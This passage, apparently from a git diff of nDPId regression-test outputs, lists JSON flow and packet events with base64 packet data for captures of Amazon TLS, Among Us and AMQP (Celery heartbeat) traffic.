wvTJdN4fZ0QyzCzTp6q+8UwYOO7uy7R3q0Sob7e\/vf5C10NcDwAqtk4zy4mw2gjKcjCEchqehMvhhObJZfZiwBSeTqEt4ZSJ0gBT\/rv1ZbLkIKs6y\/yS3trFv2EXbi1dDhXd+s5gDJQ+Z4IuN0AmnUA9gLpR7559r6n42AR1MvfF9nRl2troBchZJCqslWOgwvx\/Ih\/1i9PisnYAZyVoek0PXB\/OG\/kMnOd0UZkuJLSgx4XYAXEX2FgTY+xHklRooIIEbjCCBGowggRmMIIDTqADAgECAhBEaJBjaUgF1sr2\/bnRxAUhMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTcwMjA0MDAwMDAwWhcNMTcwNTA1MjM1OTU5WjBAMT4wPAYDVQQDEzVTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNCBPQ1NQIFJlc3BvbmRlcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKorQp99vkC6qr9FMqUYxael0Lsma2caI4BjC9k3ZiMwrp+dvSECA4wbWstHvoB86W8Zmld7Mq1ttWywY03MGfAl96ON0PiOVo1XeDZJuXTb9bQLUSxVXuzgnwObGDuWVTxpZR3qrFjJe8I2AyvTNPjgAGVwl7uVg3Gd5k91Vvn7w0bjxB5zGmYSAubCIfzzpr1LFn\/mgU8Ju+6LT2qsP1lkNl5NbHeONr1r1usqgi\/wvPaimgi5Yv\/cUTSSwwVIrnOXifiKGb\/Rt4Io5QAadG9Xwt\/ZOc2UhoGbgcKuh\/LD\/AYHFyYV6RFExgwbe1R77b2XjRqilbA04jsvcGE8xOsCAwEAAaOCARwwggEYMA8GCSsGAQUFBzABBQQCBQAwIgYDVR0RBBswGaQXMBUxEzARBgNVBAMTClRHVi1ELTM4NTcwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wHQYDVR0OBBYEFEUgAqiLimWfdfr16QoaeNLwNwueMAwGA1UdEwEB\/wQCMAAwbgYDVR0gBGcwZTBjBgtghkgBhvhFAQcXAzBUMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAqBggrBgEFBQcCAjAeGhwgIGh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMBMGA1UdJQQMMAoGCCsGAQUFBwMJMA4GA1U="} +01161{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3379,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":162,"flow_packet_id":9,"flow_first_seen":1490976197297,"flow_last_seen":1490976197532,"flow_tot_l4_data_len":4793,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":532,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.121","src_port":47606,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","server_names":"fls-na.amazon.ca,fls-na.amazon.com,fls-na.amazon.com.br,fls-na.amazon.com.mx","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"159d46e54a2c066ef95e656fdf034e1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=fls-na.amazon.com","alpn":"h2,http\/1.1","fingerprint":"2F:16:23:0F:F8:49:12:18:49:55:48:DA:E6:59:D9:B3:BB:0E:41:8A"}} +01280{"flow_id":162,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3380,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":533036,"pkt_caplen":688,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":688,"pkt_l4_len":654,"pkt":"ePiC0\/vCAMDKkVoBCABFAAKiFX5AANsGmmBIFc55rBAq2AG7ufYaDqtY2qyKjFAYASz6pQAAHQ8BAf8EBAMCB4AwDQYJKoZIhvcNAQELBQADggEBAHgcwWI1WEf915v+BMHzpq1UXjLCqvTFqlTJ6sCk3BCr8RHH4\/a+5XpxufufD6fAA8qZDYLX\/mas8o74I3yLjqr4l1CZ9vdShO6hhBVdjNDlbGEeKPsyMXuzCqxDoAkBqBZL\/pLDi+dSEwlIm2L7LpyiM0wZFDUyfTXTOMDl\/aaq1BslxdPB7rr+FWw9AgwkWCRfnrkwMRszEI7YCaM8kV8sGbR0LDnNx8V+MlL7E+4HxoSjruiAfX0\/mSXLK4Dgdl52tAdcoDAedZSz+H6Y\/busqrTk1nTRwIksEFRr6U5ipHH8d5KWkp1E61BrXCPT2wUDJ5IXYSSMy68heruHRA4WAwMBTQwAAUkDABdBBIWiITPfXkevSN595E7AeHI4bAYlKCh3Hyevd5nYAFRmzT4KzvOWez8cEqobdxQH4iczVn+6mtRkzfMGAfLUe1YGAQEAGlfmUCDRxYLhFUXgQD+CalyDqMZqyg4J832V9SRFsSPp5yFYghHhF\/x83WHJrv3EFv18ySMzeqtIXcZJXmD9ncxRLSYt2Yq\/bvGMTPo5g21P4GLLPltFEscwkTTyP1rVwFG2D+Y9nUiGG6w+cJ+Ep2S7CQdpQRyJtIYf1vT70NrCT6x5+8RBQadxMYujqp9xHlPELcPGjn\/7Ec6Sjn53nwK2dJy5DIDaGetxUdAxb4ID2kywHsSABDdU1ZjEVsATSe\/pXCqwWDBSiMoaofN818rGbNhh\/9SH+QPhbh8uKm\/izV4ltqx9AFj7mky1Rhruf921K98Wq1DCl+dfHnTUuRYDAwAEDgAAAA=="} +00417{"flow_id":162,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3383,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":618402,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoAuJAAEAGSnesECrYSBXOebn2AbvarIqMGg6f8FAQAWLmEQAA"} +00417{"flow_id":162,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3384,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":618662,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoAuNAAEAGSnasECrYSBXOebn2AbvarIqMGg6lpFAQAW3gUgAA"} +00417{"flow_id":162,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3385,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":618788,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoAuRAAEAGSnWsECrYSBXOebn2AbvarIqMGg6rWFAQAXnakgAA"} +00417{"flow_id":162,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3386,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":618909,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoAuVAAEAGSnSsECrYSBXOebn2AbvarIqMGg6t0lAQAYTYDQAA"} +00591{"flow_id":162,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3387,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":632551,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"AMDKkaPvePiC0\/vCCABFAACmAuZAAEAGSfWsECrYSBXOebn2AbvarIqMGg6t0lAYAYRNaAAAFgMDAEYQAABCQQQJZBnvJnWA+MuEoBN0+HrOeSGGwWp\/lMUBpYesnGyEe8+EwOD1buwoY9PbYMqcEE2yeBvFpzQGBjY0\/Akn28BLFAMDAAEBFgMDACgAAAAAAAAAAKKmKckizYCC0IOZuaIZIUHBw\/f7WqAMKNzoOZNBC00Z"} diff --git a/test/results/among_us.pcap.out b/test/results/among_us.pcap.out new file mode 100644 index 000000000..7584213ca --- /dev/null +++ b/test/results/among_us.pcap.out @@ -0,0 +1,3 @@ +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"among_us.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":946681200000,"flow_last_seen":0,"flow_tot_l4_data_len":23,"flow_min_l4_data_len":23,"flow_max_l4_data_len":23,"flow_avg_l4_data_len":23,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.105.251.170","src_port":64260,"dst_port":22023,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00405{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"among_us.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946681200,"pkt_ts_usec":0,"pkt_caplen":57,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":57,"pkt_l4_len":23,"pkt":"eJS0JASgYDjgxTWgCABFAAArJhEAAH8RqpAKAAABrGn7qvsEVgcAF2toCAABAIDZAgMGQUFBQUFB"} +00497{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"among_us.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":946681200000,"flow_last_seen":0,"flow_tot_l4_data_len":23,"flow_min_l4_data_len":23,"flow_max_l4_data_len":23,"flow_avg_l4_data_len":23,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.105.251.170","src_port":64260,"dst_port":22023,"l4_proto":"udp","ndpi": {"proto":"AmongUs","breed":"Fun","category":"Game"}} diff --git a/test/results/amqp.pcap.out b/test/results/amqp.pcap.out new file mode 100644 index 000000000..a755f3071 --- /dev/null +++ b/test/results/amqp.pcap.out @@ -0,0 +1,51 @@ +00463{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"amqp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1490904166118,"flow_last_seen":0,"flow_tot_l4_data_len":73,"flow_min_l4_data_len":73,"flow_max_l4_data_len":73,"flow_avg_l4_data_len":73,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.1.1","src_port":44205,"dst_port":5672,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904166,"pkt_ts_usec":118902,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"AAAAAAAAAAAAAAAACABFAABdxi1AAEAGdWt\/AAABfwABAaytFihPdGXjNxAmEoAYAV7\/UQAAAQEICgC+1cIAvtPNAQABAAAAIQA8ACgAAAhjZWxlcnlldhB3b3JrZXIuaGVhcnRiZWF0AM4="} +00491{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"amqp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1490904166118,"flow_last_seen":0,"flow_tot_l4_data_len":73,"flow_min_l4_data_len":73,"flow_max_l4_data_len":73,"flow_avg_l4_data_len":73,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.1.1","src_port":44205,"dst_port":5672,"l4_proto":"tcp","ndpi": {"proto":"AMQP","breed":"Acceptable","category":"RPC"}} +00421{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904166,"pkt_ts_usec":118933,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0puJAAEAGlN9\/AAEBfwAAARYorK03ECYST3RmDIAQSfD\/KAAAAQEICgC+1cIAvtXC"} +00553{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904166,"pkt_ts_usec":119100,"pkt_caplen":162,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":162,"pkt_l4_len":128,"pkt":"AAAAAAAAAAAAAAAACABFAACUxi5AAEAGdTN\/AAABfwABAaytFihPdGYMNxAmEoAYAV7\/iAAAAQEICgC+1cIAvtXCAgABAAAAWAA8AAAAAAAAAAABJ\/gAEGFwcGxpY2F0aW9uL2pzb24FdXRmLTgAAAAtCGhvc3RuYW1lUwAAAB9jZWxlcnlAdGVzdC5jb2duaXRvbmV0d29ya3MuY29tAgDO"} +00421{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904166,"pkt_ts_usec":119110,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0puNAAEAGlN5\/AAEBfwAAARYorK03ECYST3RmbIAQSfD\/KAAAAQEICgC+1cIAvtXC"} +00827{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904166,"pkt_ts_usec":119203,"pkt_caplen":369,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":369,"pkt_l4_len":335,"pkt":"AAAAAAAAAAAAAAAACABFAAFjxi9AAEAGdGN\/AAABfwABAaytFihPdGZsNxAmEoAYAV4AWAAAAQEICgC+1cIAvtXCAwABAAABJ3sic3dfc3lzIjogIkxpbnV4IiwgImNsb2NrIjogMzkxNzI1LCAidGltZXN0YW1wIjogMTQ5MDkwNDE2Ni4xMTg1ODMsICJob3N0bmFtZSI6ICJjZWxlcnlAdGVzdC5jb2duaXRvbmV0d29ya3MuY29tIiwgInBpZCI6IDE4OTQsICJzd192ZXIiOiAiMy4xLjE4IiwgInV0Y29mZnNldCI6IDAsICJsb2FkYXZnIjogWzAuNzgsIDAuNTYsIDAuNDJdLCAicHJvY2Vzc2VkIjogMTEzOTQyLCAiYWN0aXZlIjogMCwgImZyZXEiOiAyLjAsICJ0eXBlIjogIndvcmtlci1oZWFydGJlYXQiLCAic3dfaWRlbnQiOiAicHktY2VsZXJ5In3O"} +00421{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904166,"pkt_ts_usec":119213,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0puRAAEAGlN1\/AAEBfwAAARYorK03ECYST3Rnm4AQSe7\/KAAAAQEICgC+1cIAvtXC"} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"amqp.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1490904166119,"flow_last_seen":0,"flow_tot_l4_data_len":480,"flow_min_l4_data_len":480,"flow_max_l4_data_len":480,"flow_avg_l4_data_len":480,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.1.1","dst_ip":"127.0.0.1","src_port":5672,"dst_port":44204,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01023{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904166,"pkt_ts_usec":119482,"pkt_caplen":514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":514,"pkt_l4_len":480,"pkt":"AAAAAAAAAAAAAAAACABFAAH0AQRAAEAGOP5\/AAEBfwAAARYorKyekqFfoHNnjIAYAXcA6QAAAQEICgC+1cIAvtPXAQADAAAAKQA8ADwBMwAAAAAAAGF2AAhjZWxlcnlldhB3b3JrZXIuaGVhcnRiZWF0zgIAAwAAAFgAPAAAAAAAAAAAASf4ABBhcHBsaWNhdGlvbi9qc29uBXV0Zi04AAAALQhob3N0bmFtZVMAAAAfY2VsZXJ5QHRlc3QuY29nbml0b25ldHdvcmtzLmNvbQIAzgMAAwAAASd7InN3X3N5cyI6ICJMaW51eCIsICJjbG9jayI6IDM5MTcyNSwgInRpbWVzdGFtcCI6IDE0OTA5MDQxNjYuMTE4NTgzLCAiaG9zdG5hbWUiOiAiY2VsZXJ5QHRlc3QuY29nbml0b25ldHdvcmtzLmNvbSIsICJwaWQiOiAxODk0LCAic3dfdmVyIjogIjMuMS4xOCIsICJ1dGNvZmZzZXQiOiAwLCAibG9hZGF2ZyI6IFswLjc4LCAwLjU2LCAwLjQyXSwgInByb2Nlc3NlZCI6IDExMzk0MiwgImFjdGl2ZSI6IDAsICJmcmVxIjogMi4wLCAidHlwZSI6ICJ3b3JrZXItaGVhcnRiZWF0IiwgInN3X2lkZW50IjogInB5LWNlbGVyeSJ9zg=="} +00421{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904166,"pkt_ts_usec":119495,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0HMNAAEAGHv9\/AAABfwABAaysFiigc2eMnpKjH4AQDjX\/KAAAAQEICgC+1cIAvtXC"} +00479{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904168,"pkt_ts_usec":120866,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"AAAAAAAAAAAAAAAACABFAABdxjBAAEAGdWh\/AAABfwABAaytFihPdGebNxAmEoAYAV7\/UQAAAQEICgC+17YAvtXCAQABAAAAIQA8ACgAAAhjZWxlcnlldhB3b3JrZXIuaGVhcnRiZWF0AM4="} +00422{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904168,"pkt_ts_usec":120897,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0puVAAEAGlNx\/AAEBfwAAARYorK03ECYST3RnxIAQSe7\/KAAAAQEICgC+17YAvte2"} +00554{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904168,"pkt_ts_usec":121054,"pkt_caplen":162,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":162,"pkt_l4_len":128,"pkt":"AAAAAAAAAAAAAAAACABFAACUxjFAAEAGdTB\/AAABfwABAaytFihPdGfENxAmEoAYAV7\/iAAAAQEICgC+17YAvte2AgABAAAAWAA8AAAAAAAAAAABJ\/gAEGFwcGxpY2F0aW9uL2pzb24FdXRmLTgAAAAtCGhvc3RuYW1lUwAAAB9jZWxlcnlAdGVzdC5jb2duaXRvbmV0d29ya3MuY29tAgDO"} +00423{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904168,"pkt_ts_usec":121064,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0puZAAEAGlNt\/AAEBfwAAARYorK03ECYST3RoJIAQSe7\/KAAAAQEICgC+17YAvte2"} +00829{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904168,"pkt_ts_usec":121152,"pkt_caplen":369,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":369,"pkt_l4_len":335,"pkt":"AAAAAAAAAAAAAAAACABFAAFjxjJAAEAGdGB\/AAABfwABAaytFihPdGgkNxAmEoAYAV4AWAAAAQEICgC+17YAvte2AwABAAABJ3sic3dfc3lzIjogIkxpbnV4IiwgImNsb2NrIjogMzkxNzI3LCAidGltZXN0YW1wIjogMTQ5MDkwNDE2OC4xMjA1NzYsICJob3N0bmFtZSI6ICJjZWxlcnlAdGVzdC5jb2duaXRvbmV0d29ya3MuY29tIiwgInBpZCI6IDE4OTQsICJzd192ZXIiOiAiMy4xLjE4IiwgInV0Y29mZnNldCI6IDAsICJsb2FkYXZnIjogWzAuNzgsIDAuNTYsIDAuNDJdLCAicHJvY2Vzc2VkIjogMTEzOTQyLCAiYWN0aXZlIjogMCwgImZyZXEiOiAyLjAsICJ0eXBlIjogIndvcmtlci1oZWFydGJlYXQiLCAic3dfaWRlbnQiOiAicHktY2VsZXJ5In3O"} +00423{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904168,"pkt_ts_usec":121161,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0pudAAEAGlNp\/AAEBfwAAARYorK03ECYST3RpU4AQSe7\/KAAAAQEICgC+17YAvte2"} +01024{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904168,"pkt_ts_usec":121405,"pkt_caplen":514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":514,"pkt_l4_len":480,"pkt":"AAAAAAAAAAAAAAAACABFAAH0AQVAAEAGOP1\/AAEBfwAAARYorKyekqMfoHNnjIAYAXcA6QAAAQEICgC+17YAvtXCAQADAAAAKQA8ADwBMwAAAAAAAGF3AAhjZWxlcnlldhB3b3JrZXIuaGVhcnRiZWF0zgIAAwAAAFgAPAAAAAAAAAAAASf4ABBhcHBsaWNhdGlvbi9qc29uBXV0Zi04AAAALQhob3N0bmFtZVMAAAAfY2VsZXJ5QHRlc3QuY29nbml0b25ldHdvcmtzLmNvbQIAzgMAAwAAASd7InN3X3N5cyI6ICJMaW51eCIsICJjbG9jayI6IDM5MTcyNywgInRpbWVzdGFtcCI6IDE0OTA5MDQxNjguMTIwNTc2LCAiaG9zdG5hbWUiOiAiY2VsZXJ5QHRlc3QuY29nbml0b25ldHdvcmtzLmNvbSIsICJwaWQiOiAxODk0LCAic3dfdmVyIjogIjMuMS4xOCIsICJ1dGNvZmZzZXQiOiAwLCAibG9hZGF2ZyI6IFswLjc4LCAwLjU2LCAwLjQyXSwgInByb2Nlc3NlZCI6IDExMzk0MiwgImFjdGl2ZSI6IDAsICJmcmVxIjogMi4wLCAidHlwZSI6ICJ3b3JrZXItaGVhcnRiZWF0IiwgInN3X2lkZW50IjogInB5LWNlbGVyeSJ9zg=="} +00422{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904168,"pkt_ts_usec":121417,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA0HMRAAEAGHv5\/AAABfwABAaysFiigc2eMnpKk34AQDjX\/KAAAAQEICgC+17YAvte2"} +00464{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17,"source":"amqp.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1490904169152,"flow_last_seen":0,"flow_tot_l4_data_len":63,"flow_min_l4_data_len":63,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":63,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.1.1","src_port":44206,"dst_port":5672,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":152163,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"AAAAAAAAAAAAAAAACABFAABTPztAAEAG\/Gd\/AAABfwABAayuFiiKm04N2t+K4IAYAV7\/RwAAAQEICgC+2LgAvtO2AQABAAAAFwA8ACgAAAdkZWZhdWx0B3Rhc2tzLiMAzg=="} +00492{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":17,"source":"amqp.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1490904169152,"flow_last_seen":0,"flow_tot_l4_data_len":63,"flow_min_l4_data_len":63,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":63,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.1.1","src_port":44206,"dst_port":5672,"l4_proto":"tcp","ndpi": {"proto":"AMQP","breed":"Acceptable","category":"RPC"}} +00422{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":152192,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAAAAAAAAAAAAAAACABFAAA01sFAAEAGZQB\/AAEBfwAAARYorK7a34rgiptOLIAQDAj\/KAAAAQEICgC+2LgAvti4"} +00614{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"amqp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490904169,"pkt_ts_usec":152378,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAPzxAAEAG+\/l\/AAABfwABAayuFiiKm04s2t+K4IAYAV7\/tAAAAQEICgC+2LgAvti4AgABAAAAhAA8AAAAAAAAAAAA7v4AHmFwcGxpY2F0aW9uL3gtcHl0aG9uLXNlcmlhbGl6ZQZiaW5hcnkAAAAAAgAkZjMzYWFlMjctNjlmNC00ZjQ4LWIwYmMtMmVmZGM0NTVjMTI4JGFiZjI3YmI1LTAxNDktM2RiZC1hMmRiLWQzNTcyYzMwOTc5MM4="} 